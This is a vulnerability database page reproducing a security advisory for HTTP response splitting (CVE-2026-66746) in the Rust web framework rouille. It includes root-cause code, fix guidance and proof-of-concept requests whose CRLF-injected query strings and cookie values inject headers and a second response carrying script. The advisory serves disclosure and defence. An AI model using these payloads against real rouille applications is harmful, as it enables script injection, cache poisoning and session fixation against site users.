Lucene search
+L

📄 rouille 3.6.2 HTTP Response Splitting

🗓️ 29 Jul 2026 00:00:00Reported by Theodosis PaidakisType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 25 Views

Rouille between 0.4.0 and 3.6.2 is vulnerable to HTTP response splitting via unvalidated headers.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-66746
28 Jul 202616:06
attackerkb
cve
CVE
CVE-2026-66746
28 Jul 202616:06
cve
cvelist
Cvelist
CVE-2026-66746 Rouille 0.4.0 - 3.6.2 HTTP Response Splitting via Header Injection
28 Jul 202616:06
cvelist
debiancve
Debian CVE
CVE-2026-66746
28 Jul 202616:06
debiancve
euvd
EUVD
EUVD-2026-49889
28 Jul 202616:06
euvd
nvd
NVD
CVE-2026-66746
28 Jul 202616:20
nvd
osv
OSV
CVE-2026-66746 Rouille 0.4.0 - 3.6.2 HTTP Response Splitting via Header Injection
28 Jul 202616:06
osv
osv
OSV
DEBIAN-CVE-2026-66746
28 Jul 202616:20
osv
ptsecurity
Positive Technologies
PT-2026-65517
28 Jul 202600:00
ptsecurity
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-66746
29 Jul 202600:00
nessus
Rows per page
# Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
    
    **Assigned CVE ID:** CVE-2026-66746
    
    ## Summary
    
    rouille writes response header values to the client without checking them for
    carriage return or line feed. An application that places attacker-influenced text
    into a header value therefore emits extra headers, or an entire second HTTP
    response, on the wire.
    
    Two properties of rouille make this reachable in ordinary code. `Request::get_param`
    percent-decodes, so `%0d%0a` in a query string becomes a real CRLF. And
    `session::session` copies the client's own `Cookie` value into `Set-Cookie` with
    no validation at all.
    
    Every other widely used Rust HTTP stack rejects this at the type level:
    `http::HeaderValue::from_str` returns `InvalidHeaderValue` for CR and LF, which
    is why hyper, axum, actix-web and warp are not exposed the same way.
    
    ## Affected versions
    
    Repo URL: https://github.com/tomaka/rouille
    
    | | |
    |---|---|
    | First affected | 0.4.0 (2016-12-14) for the response header path below |
    | Last affected | 3.6.2 (2023-04-24), the current release |
    | Fixed in | no fixed version at time of writing |
    
    Releases before 0.4.0 emit responses through a different code path that was not
    examined, so they are not claimed either way. The `session::session` reflection
    described under path B exists from 0.3.2 (2016-12-02) onward.
    
    ## Severity
    
    CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
    case of CWE-93 (CRLF Injection).
    
    CVSS 4.0 base score 5.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
    
    ## Threat model
    
    Path A requires a remote, unauthenticated attacker and a victim who follows a
    link the attacker supplies. The attacker needs the application to put any
    request-derived string into a response header. Redirecting to a `next` or
    `return_to` query parameter is the common case.
    
    Path B requires only that the application calls `session::session` and reads the
    session id. The attacker controls their own `Cookie` header, so on its own this
    is self-inflicted. It becomes an attack against others when a shared cache
    stores the split response, or when combined with another way to set a cookie in
    the victim's browser.
    
    ## Root cause
    
    `rouille/src/lib.rs`, lines 624 to 640, passes values straight through:
    
    ```rust
    624              for (key, value) in rouille_response.headers {
    625                  if key.eq_ignore_ascii_case("Content-Length") {
    626                      continue;
    627                  }
    628  
    629                  if key.eq_ignore_ascii_case("Upgrade") {
    630                      upgrade_header = value;
    631                      continue;
    632                  }
    633  
    634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
    635                  {
    636                      response.add_header(header);
    ```
    
    `Header::from_bytes` checks only that the bytes are ASCII, and CR and LF are
    ASCII. `tiny_http-0.12.0/src/common.rs`, lines 166 to 172:
    
    ```rust
    166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
    ...
    171          let header = HeaderField::from_bytes(header).or(Err(()))?;
    172          let value = AsciiString::from_ascii(value).or(Err(()))?;
    ```
    
    The value is then written with no escaping.
    `tiny_http-0.12.0/src/response.rs`, lines 99 to 104:
    
    ```rust
     99      for header in headers.iter() {
    100          writer.write_all(header.field.as_str().as_ref())?;
    101          write!(&mut writer, ": ")?;
    102          writer.write_all(header.value.as_str().as_ref())?;
    103          write!(&mut writer, "\r\n")?;
    104      }
    ```
    
    ### Path A, percent-decoded query parameters
    
    `Request::get_param` decodes percent escapes, so the caller receives real control
    characters. `rouille/src/lib.rs`, lines 928 to 932:
    
    ```rust
    928              .map(|value| {
    929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
    930                      .decode_utf8_lossy()
    931                      .into_owned()
    932              })
    ```
    
    ### Path B, session identifiers reflected from the request
    
    `rouille/src/session.rs` takes the key from the client's cookie at line 59 and
    interpolates it into the response header at lines 75 to 81:
    
    ```rust
     59              key: cookie.into(),
    ...
     75          let header_value = format!(
     76              "{}={}; Max-Age={}; Path=/; HttpOnly",
     77              cookie_name, session.key, timeout_s
     78          );
     79          response
     80              .headers
     81              .push(("Set-Cookie".into(), header_value.into()));
    ```
    
    ## Proof of Concept
    
    ### Path A
    
    Step 1. Start a server that redirects to a query parameter.
    
    ```rust
    use rouille::Response;
    
    fn main() {
        rouille::start_server("127.0.0.1:8002", |request| {
            let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
            Response::redirect_303(next)
        });
    }
    ```
    
    Step 2. Request it with `%0d%0a` in the parameter.
    
    ```sh
    curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
    ```
    
    Result. `X-Injected` arrives as its own header:
    
    ```
    HTTP/1.1 303 See Other
    Server: tiny-http (Rust)
    Location: /a
    X-Injected: yes
    Content-Length: 0
    ```
    
    Step 3. Extend the payload past the end of the headers to emit a whole second
    response.
    
    ```sh
    curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
    ```
    
    Result. One request, two complete responses. The second carries an
    attacker-chosen status line, content type and body:
    
    ```
    HTTP/1.1 303 See Other
    Location: /a
    Content-Length: 0
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    
    <script>alert(1)</script>
    ```
    
    ### Path B
    
    Step 1. Start a server using the documented session idiom.
    
    ```rust
    use rouille::{session, Response};
    
    fn main() {
        rouille::start_server("127.0.0.1:8006", |request| {
            session::session(request, "SID", 3600, |s| {
                Response::text(format!("session id: {}", s.id()))
            })
        });
    }
    ```
    
    Step 2. Send a cookie whose value contains a bare LF. `\n` below is a single
    line feed, `\r\n` is a CRLF.
    
    ```sh
    printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
    ```
    
    Result. The value breaks out of `Set-Cookie` onto its own line:
    
    ```
    Set-Cookie: SID=abc
    X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
    ```
    
    Path B has three limits worth noting. Only a bare LF gets through, because CRLF
    would have ended the header line in `tiny_http`, so the client or cache must
    treat a lone LF as a terminator. Everything after the injection point still
    carries the `; Max-Age=3600; Path=/; HttpOnly` suffix from the same `format!`,
    so the primitive is a header with a fixed trailing string rather than a clean
    arbitrary header. And the attacker only controls their own cookie. Path A has
    none of these limits.
    
    ## Impact
    
    Script execution in the origin's security context, cache poisoning where a shared
    cache stores the injected response against the victim's URL, session fixation
    through an injected `Set-Cookie`, and overriding security headers such as CSP or
    CORS. Because path A produces a real CRLF, every client and cache splits on it.
    
    ## Remediation
    
    Validate header values in `Server::process` before handing them to `tiny_http`,
    in `rouille/src/lib.rs` around line 634:
    
    ```rust
    fn header_value_is_safe(v: &str) -> bool {
        !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
    }
    ```
    
    Return a 500 for the whole response rather than dropping the offending header,
    so the failure is visible instead of silently changing the response.
    
    Validate the session key in `session::session` as well: reject a cookie value
    that is not `[A-Za-z0-9]+` and generate a fresh id instead. Checking in
    `Response::with_additional_header`, `with_unique_header` and the `redirect_*`
    constructors would surface the error at the call site, where the application
    author can act on it.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 45.3
CVSS 3.15.4
EPSS0.00241
25